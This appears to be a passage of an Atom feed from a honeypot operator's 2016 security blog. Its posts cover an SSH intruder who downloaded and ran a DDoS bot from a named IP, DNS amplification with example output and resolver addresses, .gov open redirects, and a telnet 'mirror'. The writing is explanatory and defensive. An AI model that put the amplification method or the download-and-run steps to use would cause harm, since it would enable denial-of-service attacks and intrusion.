<p>Many of you may never have installed the Linux &ldquo;moreutils&rdquo; package (see <a href="http://joeyh.name/code/moreutils/">here</a> for &ldquo;moreinfo&rdquo; on &ldquo;moreutils&rdquo;). Based on the name, you can probably tell that it contains a whole bunch more Unix utilities&hellip; and among them is a little gem called <code>isutf8</code>.</p>
<p><code>isutf8</code> does pretty much what you would expect&hellip; it&rsquo;ll tell you if a file is, indeed, well-formed UTF-8.</p>
<p>On most sane Linux distros, you can install the moreutils package using a simple <code>sudo apt-get install moreutils</code>.</p>
<p>Running <code>isutf8</code> is amazingly complex:</p>
<pre tabindex="0"><code class="language-code" data-lang="code">localhost ~ » isutf8 evilstuff.bin 
localhost ~ »
</code></pre><p><em>&ldquo;What the heck is that?,&rdquo;</em> I hear you cry, <em>&ldquo;It didn&rsquo;t do anything!&rdquo;</em></p>
<p>Welcome to Unix-land&hellip; around here, we tend to be a little terse. Deal with it&hellip; (i.e. unless <code>isutf8</code> bitches about the file NOT being UTF-8, you can assume that it&rsquo;s UTF-8).</p>
<p>So! It&rsquo;s UTF-8 text! I open it up in a UTF-8 capable editor aaaaaaand&hellip;</p>
<p><em>Gibberish&hellip; It&rsquo;s frickin&rsquo; gibberish:</em></p>
<p><img src="gibberish.png" alt="Gibberish"></p>
<p>So I jumped through all of those hoops just to find out some idiot from (the fictional country of) Belguim decided to POST frickin&rsquo; gibberish as comment spam.</p>
<p>If you have any other notions about what this might be, please tweet me <a href="https://twitter.com/tliston">@tliston</a>.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 12, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Partly Cloudy With a Chance of a Colon Clense]]></title>
            <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
                <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="related" type="text/html" title="Toyz From China" />
                <link href="https://yourflyis0pen.com/page/about/?utm_source=atom_feed" rel="related" type="text/html" title="About" />
                <link href="https://yourflyis0pen.com/article/welcome/?utm_source=atom_feed" rel="related" type="text/html" title="Welcome!" />
            
                <id>https://yourflyis0pen.com/article/partly-cloudy/</id>
            
            
            <published>2016-05-10T14:18:24-06:00</published>
            <updated>2016-05-10T14:18:24-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Let&rsquo;s talk about one of the lesser known dangers of running a website with an open redirect, shall we?</p>
<p>Apparently, the folks over at the National Weather Service have an open redirect that the Search Engine Optimization (SEO) scammers have latched onto. Either that, or the fine folks at the NWS have areas of interest that go way beyond cloud formations, humidity, and precipitation.</p>
<p><a href="https://www.google.com/search?q=site:www.nws.noaa.gov%2ftraining%2fredirect.php">This</a> Google search finds all sorts of interesting stuff that the NWS is SEO boosting&hellip;</p>
<p><img src="nws_redirect.png" alt="NWS Redirects"></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 10, 2016</p>
<p>UPDATED: I&rsquo;ve found a few more .gov sites with redirects that are being used by SEO scammers:</p>
<ul>
<li><a href="https://www.google.com/search?q=site%3Awww.weather.gov%2Ftraining%2Fredirect.php">Here</a> is one for <a href="https://www.weather.gov">www.weather.gov</a> (which appears to just be the same NWS site as above)</li>
<li><a href="https://www.google.com/search?q=site%3Aaviationweather.gov%2Fjump%2F">Here</a> is another one that continues the “weather” theme - aviationweather.gov</li>
<li><a href="https://www.google.com/search?q=site%3Aicsw.nhtsa.gov%2Fexit.cfm">Here</a> is one for the National Highway Transportation Safety Administration</li>
<li><a href="https://www.google.com/search?q=site%3Awww.cftc.gov%2Fexit%2Findex.htm">Here</a> is one for The Commodity Futures Trading Commission</li>
<li><a href="https://www.google.com/search?q=site%3Awww.cedarparktexas.gov%2Fredirect.aspx">Here</a> is one for the town of Cedar Park, TX</li>
<li><a href="https://www.google.com/search?q=site%3Awww.knightdalenc.gov%2Fredirect.aspx">Here</a> is one for the town of Knightdale, NC</li>
<li><a href="https://www.google.com/search?q=site%3Awww.costamesaca.gov%2Fredirect.aspx">Here</a> is one for the town of Costa Mesa, CA</li>
</ul>
<p>(Is there some crappy template for “city” websites somewhere?)</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Toyz From China]]></title>
            <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
                <link href="https://yourflyis0pen.com/page/about/?utm_source=atom_feed" rel="related" type="text/html" title="About" />
                <link href="https://yourflyis0pen.com/article/welcome/?utm_source=atom_feed" rel="related" type="text/html" title="Welcome!" />
            
                <id>https://yourflyis0pen.com/article/toyz-from-china/</id>
            
            
            <published>2016-05-10T13:28:55-06:00</published>
            <updated>2016-05-10T13:28:55-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Earlier today, I was &ldquo;given&rdquo; some toyz from China.</p>
<p>Some people look at network attackers and think that they&rsquo;re just here to take, take, take&hellip; however, if you look at things from a different perspective (and you&rsquo;ve got a convincing enough SSH honeypot) you may find that they&rsquo;re actually very giving people.</p>
<p>For example, this morning some folks sourcing from Jiangsu, Nanjing China were nice enough to stop by one of my honeypots and download a &ldquo;gift&rdquo; for me. (謝謝 - Which Google Translate claims is &ldquo;Thank you&rdquo; in traditional Chinese).</p>
<p>First off, some background: The attackers hit the site and logged right in with the correct password for &ldquo;root&rdquo; - so obviously, they&rsquo;ve knocked on the site&rsquo;s SSH &ldquo;door&rdquo; with a brute force login attack sometime in the past (from a different IP). They kicked off an SSH channel session (I think that&rsquo;s likely a method of weeding out honeypots&hellip; unfortunately - for them - my honeypot handles SSH channels quite nicely) and proceeded to:</p>
<ul>
<li>Try several different ways to shut down iptables (such a typical hacker move&hellip; almost a cliche&hellip;)</li>
<li>Download a file called &ldquo;s25&rdquo; from 115.28.206.48:9981 (Zhejiang, Hangzhou China)</li>
<li><code>chmod 777</code> the newly downloaded file</li>
<li>Run s25</li>
</ul>
<p>So&hellip; what is this &ldquo;s25&rdquo; program? Well, it turns out to be a variant of the &ldquo;Bill Gates DDoS tool&rdquo; (described by the fine folks at Kaspersky <a href="https://securelist.com/analysis/publications/64361/versatile-ddos-trojan-for-linux/">here</a> - tl;dr: It&rsquo;s a combo backdoor/DDoS tool that&rsquo;s increasingly been making the rounds of late). What&rsquo;s interesting about this &ldquo;tool&rdquo; is that it has the built-in ability to perform DNS amplification attacks.</p>
<p><em>DNS amplification attacks?</em></p>
<p>Let&rsquo;s say that you&rsquo;re an enterprising young hacker/botnet herder who has managed to take over a stable of systems that can generate around 200 Mbps of traffic. While that might be enough bandwidth to knock your skeevy hacker buddiez off the ‘net for lulz, in the world of DDoS attacks, it isn&rsquo;t really going to raise any eyebrows. While you could, potentially, wrangle more systems to increase your bandwidth, that takes&hellip; like, you know&hellip; work&hellip; and could seriously cut into your Call of Duty: Black Ops III time&hellip; What to do, what to do?</p>
<p>Back in the day (i.e., the early ‘90s), you used to be able to send an ICMP echo request from a spoofed address to the broadcast address of a netblock, confident that the router would happily forward it to every system in that block. Each of those devices would then respond to the spoofed address, and voila&hellip; you&rsquo;ve suddenly created a metric crap-tonne of traffic directed at your target (i.e. the address you spoofed). For some unknown reason, this was called a SMURF attack, and it demonstrates the hallmarks of any good amplification attack:</p>
<p>Traffic that initiates a response can be sent over a connection-less protocol (ICMP, UDP) and therefore easily spoofed
The response is significantly larger than the traffic that initiates it SMURF attacks have, happily, gone the way of cargo pants and slap bracelets, but amplification attacks live on in a different form. DNS fits both of our &ldquo;amplification criteria&rdquo; very well: requests are sent over UDP, and you can get a pretty decent &ldquo;amplification&rdquo; from a simple request:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>tliston@honeypot» dig ANY ibm.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>; &lt;&lt;&gt;&gt; DiG 9.9.5-3 &lt;&lt;&gt;&gt; ANY ibm.com
</span></span><span style="display:flex;"><span>;; global options: +cmd
</span></span><span style="display:flex;"><span>;; Got answer:
</span></span><span style="display:flex;"><span>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 18156
</span></span><span style="display:flex;"><span>;; flags: qr rd ra; QUERY: 1, ANSWER: 27, AUTHORITY: 0, ADDITIONAL: 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>;; OPT PSEUDOSECTION:
</span></span><span style="display:flex;"><span>; EDNS: version: 0, flags:; udp: 512
</span></span><span style="display:flex;"><span>;; QUESTION SECTION:
</span></span><span style="display:flex;"><span>;ibm.com.                       IN      ANY
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>;; ANSWER SECTION:
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      A       129.42.38.1
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      usc2.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      ns1-99.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      ns1-206.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      asia3.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      eur5.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      usc3.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      usw2.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      NS      eur2.akam.net.
</span></span><span style="display:flex;"><span>ibm.com.                21599   IN      SOA     asia3.akam.net. hostmaster.akamai.com. 1462569396 43200 7200 604800 3600
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e16.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e31.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e35.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e38.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e34.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e12.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e33.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e32.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e11.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e15.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e14.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e37.co.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                3599    IN      MX      10 e13.ny.us.ibm.com.
</span></span><span style="display:flex;"><span>ibm.com.                599     IN      TXT     &#34;yandex-verification: 6e0542153d39cb67&#34;
</span></span><span style="display:flex;"><span>ibm.com.                599     IN      TXT     &#34;google-site-verification=tzdngH5fWH-k8uQoDVovOFJQZTwaGtDOP6S2cQlOvCs&#34;
</span></span><span style="display:flex;"><span>ibm.com.                599     IN      TXT     &#34;v=spf1 mx include:zuora.com -all&#34;
</span></span><span style="display:flex;"><span>ibm.com.                599     IN      TXT     &#34;MS=ms61389031&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>;; Query time: 167 msec
</span></span><span style="display:flex;"><span>;; SERVER: 192.168.1.1#53(192.168.1.1)
</span></span><span style="display:flex;"><span>;; WHEN: Tue May 10 12:18:34 CDT 2016
</span></span><span style="display:flex;"><span>;; MSG SIZE  rcvd: 743
</span></span></code></pre></div><p>In this instance, the DNS query was 36 bytes, and the response was 743 bytes, an amplification factor of 20.64 times, which could be used to turn a paltry 200 Mbps trickle into a mighty 4 Gbps torrent. Spoofing the source IP address of your victim is easy, so all you need is a bunch o&rsquo;compliant DNS servers willing to play along&hellip; (The more, the merrier&hellip; it spreads the love&hellip;)</p>
<p>I did a little digging in the innards of the &ldquo;gift&rdquo; I received and uncovered a listing of 197 different IP addresses that turned out to point to some very &ldquo;compliant&rdquo; DNS servers&hellip; Here’s a sample:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>68.163.132.61.in-addr.arpa. 21599 IN    PTR     cache1.ahhfptt.net.cn.
</span></span><span style="display:flex;"><span>68.213.102.202.in-addr.arpa. 21599 IN   PTR     cache.ahwhtel.net.cn.
</span></span><span style="display:flex;"><span>101.200.102.202.in-addr.arpa. 21599 IN  PTR     101.200.102.202.broad.static.hf.ah.cndata.com.
</span></span><span style="display:flex;"><span>1.64.38.202.in-addr.arpa. 3599  IN      PTR     ns.ustc.edu.cn.
</span></span><span style="display:flex;"><span>129.88.91.211.in-addr.arpa. 21599 IN    PTR     dns.ahhf.cnuninet.net.
</span></span><span style="display:flex;"><span>2.180.138.211.in-addr.arpa. 21599 IN    PTR     ns1.ah.chinamobile.com.
</span></span><span style="display:flex;"><span>2.78.104.218.in-addr.arpa. 21128 IN     PTR     2.78.104.218.adsl-pool.ah.cnuninet.net.
</span></span><span style="display:flex;"><span>68.199.102.202.in-addr.arpa. 21599 IN   PTR     cache2.ahwhtel.net.cn.
</span></span><span style="display:flex;"><span>3.3.175.202.in-addr.arpa. 21599 IN      PTR     macau.ctm.net.
</span></span><span style="display:flex;"><span>3.3.175.202.in-addr.arpa. 21599 IN      PTR     vassun1.macau.ctm.net.
</span></span></code></pre></div><p>The problem is that people running DNS servers leave them open to the world, willing to resolve addresses for anyone who queries them - known as &ldquo;running a recursive resolver.&rdquo; Now, were I a betting man, I wouldn&rsquo;t put a dime on the liklihood of getting the recursive resolvers on my list to clean up their acts, but that doesn’t mean that <em>something</em> can&rsquo;t be done. If your organization is running a recursive resolver (and you can test if you are, right <a href="http://openresolver.com">here</a>), shut off recursion NOW, configuring it to respond only to those IPs in your own netblock. For BIND, the configuration options look like this:</p>
<pre tabindex="0"><code class="language-code" data-lang="code">options { recursion no;};
options { allow-query {192.168.1.0/24;};};
</code></pre><p>Fun, fun, fun&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 10, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/ssh" term="ssh" label="ssh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[The Kids Are OK OK OK OK OK OK OK]]></title>
            <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
                <link href="https://yourflyis0pen.com/page/about/?utm_source=atom_feed" rel="related" type="text/html" title="About" />
                <link href="https://yourflyis0pen.com/article/welcome/?utm_source=atom_feed" rel="related" type="text/html" title="Welcome!" />
            
                <id>https://yourflyis0pen.com/article/alright/</id>
            
            
            <published>2016-05-09T13:14:45-06:00</published>
            <updated>2016-05-09T13:14:45-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I’m seeing a disturbuingly high incidence of this lately:</p>
<p><img src="okokokok.png" alt="Website sayign &ldquo;OK, OK, OK, OK, OK&rdquo;"></p>
<p>This is the result of an SEO hack gone bad&hellip; The site’s original content won’t load, but - interestingly - the SEO hacker&rsquo;s &ldquo;new content&rdquo; selling cheap cigarettes loads just fine.</p>
<p>It&rsquo;s like if Banksy were to stealthily &ldquo;tag&rdquo; a building in the middle of the night and somehow cause it to collapse.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 9, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Mirror, mirror on the 'Net...]]></title>
            <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/page/about/?utm_source=atom_feed" rel="related" type="text/html" title="About" />
                <link href="https://yourflyis0pen.com/article/welcome/?utm_source=atom_feed" rel="related" type="text/html" title="Welcome!" />
            
                <id>https://yourflyis0pen.com/article/mirror/</id>
            
            
            <published>2016-05-09T08:23:41-06:00</published>
            <updated>2016-05-09T08:23:41-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>&hellip;just how stupid can they get?</p>
<p>I am a generous and thoughful person.</p>
<p>Really. I am. (Seriously&hellip; would a generous and thoughtful person lie to you about that?)</p>
<p>I’ve taken it upon myself to create and provide the Internet with a much-needed service that I like to call Tom’s Telnet Mirror™</p>
<p>It works like this:</p>
<ul>
<li>You need to test to see if telnet - on your own system - is working and accessible from the Internet</li>
<li>Unfortunately, you don&rsquo;t have any other system available from which to perform your testing</li>
<li>&ldquo;Oh&hellip; woe is me,&rdquo; you cry, &ldquo;what am I going to do?&rdquo;</li>
<li>Suddenly, you remember Tom&rsquo;s Telnet Mirror™ and your day gets just a little better</li>
</ul>
<p>You see, Tom’s Telnet Mirror™ is the only full-featured telnet mirroring service you’ll ever need. When it senses an inbound telnet connection - and the TCP three-way handshake completes, it creates a new, outbound connection right back to you. If that connection is accepted, then anything you send to the mirror goes right back to your system. PROBLEM SOLVED! You can test your Internet-connected telnet system right from the system itself!</p>
<p>    <em>&ldquo;Thank you, Tom&rsquo;s Telnet Mirror™, for making my life so much easier&rdquo;</em><br>
                                                            -A satisfied Tom&rsquo;s Telnet Mirror™ user</p>
<p>Now, having created and deployed this boon to Internet users everywhere, I’ve discovered what might be a little problem. You see, apparently, there are less than forthright people on the Internet that are ATTACKING others via telnet (who knew?!?) and sometimes - for reasons that I’ve yet to fully understand - those unsavory individuals target ME! (Can you believe it? Me!?!? And I’m such a generous and thoughful person - see above.)</p>
<p>When these Internet scamps attempt to attack Tom’s Telnet Mirror™ something odd happens. Sometimes, they manage to log right back into their own system and&hellip; well&hellip; <em>0wn</em> their system.</p>
<p>We here at YourFlyIsOpen.com are, understandably, somewhat dismayed by this turn of events. Having invested considerable time, effort, and financial resources into the creation of a much-needed Internet service, we find ourselves stymied by ‘Net miscreants who insist on, essentially, shooting themselves in the foot. For the time being, we’ve decided that we won’t publish information on the availability of Tom’s Telnet Mirror™ until such time as we’re able to safely deploy it in manner that cannot be abused by those we deem “netmenaces” to hurt themselves. In the meanwhile, we intend to monitor our test deployment of the mirror, try to think (for, at least, a few seconds each day) of some way to fix it, and laugh ourselves silly any time we see something like this:</p>
<p><img src="mirror1.png" alt="Self-unawareness"></p>
<p><em>Here, we see someone&rsquo;s stoopid scripted attack logging back into the system that it came from (an Internet-connected DVR, likely used for surveillance cameras - thank you IoT!) using the DVR&rsquo;s default root password (unchanged default account credentials FTW!) and running through the steps to re-0wn itself.</em></p>
<p><img src="mirror2.png" alt="Self-0wning"></p>
<p><em>And here, we see the final results of that script re-0wning the system. If you look at the bottom of the captured telnet traffic, you can see that the attack script has re-created and relaunched KTN &ldquo;Remastered&rdquo;, version 2.2 (a known IoT malware - and is it just me or aren&rsquo;t the attackers so darned cute when they do version control like they&rsquo;re legit programmers?) in the background on the same device from which the attack sourced.</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 9, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/telnet" term="telnet" label="telnet" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Welcome!]]></title>
            <link href="https://yourflyis0pen.com/article/welcome/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
            
                <id>https://yourflyis0pen.com/article/welcome/</id>
            
            
            <published>2016-05-06T23:32:29-06:00</published>
            <updated>2016-05-06T23:32:29-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Welcome to my blog!</p>
<p><em>&quot;&lsquo;Your fly is open?&rsquo; What’s that all about?&quot;</em></p>
<p>We&rsquo;ve all been there - either on the &ldquo;giving&rdquo; or &ldquo;receiving&rdquo; end. It&rsquo;s something you do&hellip; because, well&hellip;
because it&rsquo;s how decent people behave. If you see someone walking around and, unbeknownst to them, the ol&rsquo;
barndoor is open, you&hellip; well, you say <em>something</em>:</p>
<p><em>   &ldquo;Hey&hellip;,&rdquo; you whisper, &ldquo;X-Y-Z!&rdquo;<br>
   (The universal code for &ldquo;eXamine Your Zipper.&rdquo;)</em></p>
<p>That&rsquo;s sort of what I do&hellip; except I do it on the scale of the entire Internet&hellip;</p>
<p>I run several honeypot systems on the Internet. A &ldquo;honeypot&rdquo; is a computer that appears to be running one
or more services that look very much like they’re ripe for being hacked. Then, when a hacker comes along
and tries to do something bad, the honeypot logs <em>everything</em> that they do. From those detailed logs, we can
learn a lot of things about how hackers operate and how their attacks work.</p>
<p>The one thing that we don&rsquo;t learn is who the attackers are&hellip; You see, for the most part attackers do their
dirty work from systems that they’ve already hacked. So, generally speaking, the source of an attack against
my honeypot isn&rsquo;t the hacker&rsquo;s computer&hellip; it&rsquo;s usually just some poor, unsuspecting schmuck who got hacked first.</p>
<p>When my honeypot gets attacked, I try to contact the owners of the machine sourcing the attack. Sometimes I
succeed, sometimes I don&rsquo;t&hellip; but in many ways, I&rsquo;m just tellin&rsquo; folks, <em>&ldquo;Hey&hellip; XYZ!&rdquo;</em></p>
<p>With this blog, I intend to record some of the more interesting responses I receive when I tell folks that
their &ldquo;fly is open.&rdquo; I&rsquo;ll also explain some of the more interesting evil I see popping up on the &lsquo;Net and
I&rsquo;ll throw in a case or two of &ldquo;stooopid&rdquo; when I come across it. Finally, I&rsquo;ll probably do some ranting too&hellip;
&lsquo;cause that&rsquo;s just how I am.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 6, 2016</p>]]></content>
            
                 
                    
                 
                    
                 
                    
                 
                    
                
            
        </entry>
    
</feed>
